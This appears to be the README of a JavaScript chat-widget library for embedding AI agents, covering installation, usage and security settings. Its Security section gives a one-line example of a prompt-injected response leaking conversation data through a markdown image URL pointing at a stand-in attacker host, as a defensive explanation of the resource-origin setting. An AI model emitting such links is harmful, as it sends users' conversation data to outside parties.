Dynamiq Assistant

A powerful chat widget library for AI agents - Built for React and vanilla JavaScript

Documentation • Features • Installation • Usage • Contributing

✨ About

dynamiq-assistant allows you to seamlessly integrate AI agents into your applications through customizable chat widgets. Built specifically for agentic AI experiences, it provides React and vanilla JavaScript components that connect directly to your Dynamiq-powered AI agents.

Dynamiq is an orchestration framework for agentic AI and LLM applications, enabling businesses to build, deploy, and manage intelligent AI agents at scale.

🚀 Features

• 🤖 AI Agent Integration - Purpose-built for connecting to Dynamiq AI agents
• 📱 Cross-Platform Support - Works with React and vanilla JavaScript
• 🎨 Customizable UI - Fully customizable appearance with theme support
• 📡 Streaming Support - Real-time streaming responses from AI agents
• 📁 File Upload - Enable AI agents to process images, PDFs, and documents
• 🎯 Flexible Positioning - Position the agent widget anywhere on your page
• 🔧 Event Handlers - Handle agent feedback, actions, and responses
• 📊 Vega Chart Support - AI agents can render data visualizations seamlessly

📦 Installation

npm install @dynamiq/assistant

Or using yarn:

yarn add @dynamiq/assistant

🔧 Setup

To use @dynamiq/assistant, first navigate to your Dynamiq deployment:

1. Go to Deployments and ensure Endpoint Authorization is disabled (see Security for what this means)
2. Click on the Integration tab
3. Switch to the Chat Widget menu item
4. Copy your unique API URL

💻 Usage

React

import { DynamiqAssistant } from '@dynamiq/assistant/react';

const App = () => {
  return (
    <DynamiqAssistant
      title="Dynamiq Assistant"
      placeholder="Type your message..."
      position="bottom-right"
      api={{
        url: '<YOUR_API_URL>',
        streaming: true,
      }}
      allowFileUpload={true}
      maxFileSize={10 * 1024 * 1024} // 10MB
      acceptedFileTypes="image/*,.pdf,.doc,.docx,.txt"
      params={{
        userId: '123',
        sessionId: '234',
        userName: 'John Doe',
        language: 'en',
      }}
      prompts={[
        { icon: '💬', text: 'What documents are needed for the loan?' },
        {
          icon: <FontAwesomeIcon icon={faUser} />,
          text: 'What is the maximum loan amount?',
        },
      ]}
      footerText={
        'Powered by <a href="https://getdynamiq.ai" target="_blank">Dynamiq</a>'
      }
    />
  );
};

Vanilla JavaScript

ESM Module

import { DynamiqAssistant } from '@dynamiq/assistant/vanilla';

const assistant = new DynamiqAssistant('#dynamiq-assistant-container', {
  title: 'Dynamiq Assistant',
  placeholder: 'Type your message...',
  position: 'bottom-left',
  api: {
    url: '<YOUR_API_URL>',
    streaming: true,
  },
  allowFileUpload: false,
  maxFileSize: 5 * 1024 * 1024, // 5MB
  acceptedFileTypes: 'image/*,.pdf',
});

Script Tag

<script src="https://cdn.jsdelivr.net/npm/@dynamiq/assistant@latest/dist/index.browser.js"></script>
<script>
  const assistant = new dynamiq.DynamiqAssistant(
    '#dynamiq-assistant-container',
    {
      title: 'Dynamiq Assistant',
      placeholder: 'Type your message...',
      position: 'bottom-left',
      api: {
        url: '<YOUR_API_URL>',
        streaming: true,
      },
    }
  );
</script>

🎨 Widget Preview

Your assistant will appear as an elegant chat widget on your page:

📚 API Reference

Props

Events

Chat history

Chats are stored in the browser's localStorage and shown in the history panel. Clear them when the user logs out, especially on shared devices:

import { clearChatHistory } from '@dynamiq/assistant/react'; // or '@dynamiq/assistant/vanilla'

clearChatHistory();

With the vanilla widget you can also call widget.clearHistory(), which additionally resets the open chat.

🔒 Security

• The endpoint is public. With Endpoint Authorization disabled, anyone who finds the API URL in your page can call the agent directly. Don't put secrets in api.headers, since they are shipped to every visitor. For production, consider proxying requests through your own backend, which can authenticate users and apply rate limits.
• Bot messages are sanitized. Markdown from the agent is rendered through DOMPurify, links only allow http(s)/mailto and open in a new tab, and charts run without eval (compatible with a CSP that has no 'unsafe-eval').
• Restrict remote resources. By default, images and chart data in bot messages may load from any origin. A prompt-injected response could use that to leak conversation data through an image URL (e.g. ![](https://attacker/?q=...)). Set allowedResourceOrigins to [] (same-origin only) or to the origins your agent really uses. url() references in inline styles and SVG attributes, and srcset, are always removed.
• Your own HTML options are not sanitized. title, footerText, poweredBy, humanSupport and prompts[].icon are inserted as HTML. Only pass trusted content.

🤝 Contributing

We welcome contributions! Please see our Contributing Guide for details on how to get started.

Development

# Install dependencies
npm install

# Run development server
npm run dev

# Build the library
npm run build

# Run tests
npm run test

# Lint code
npm run lint

📄 License

This project is licensed under the Apache License 2.0 - see the LICENSE file for details.

🔗 Links

• GitHub Repository
• NPM Package
• Documentation
• Dynamiq Platform
• Report Issues

🌐 Connect with Us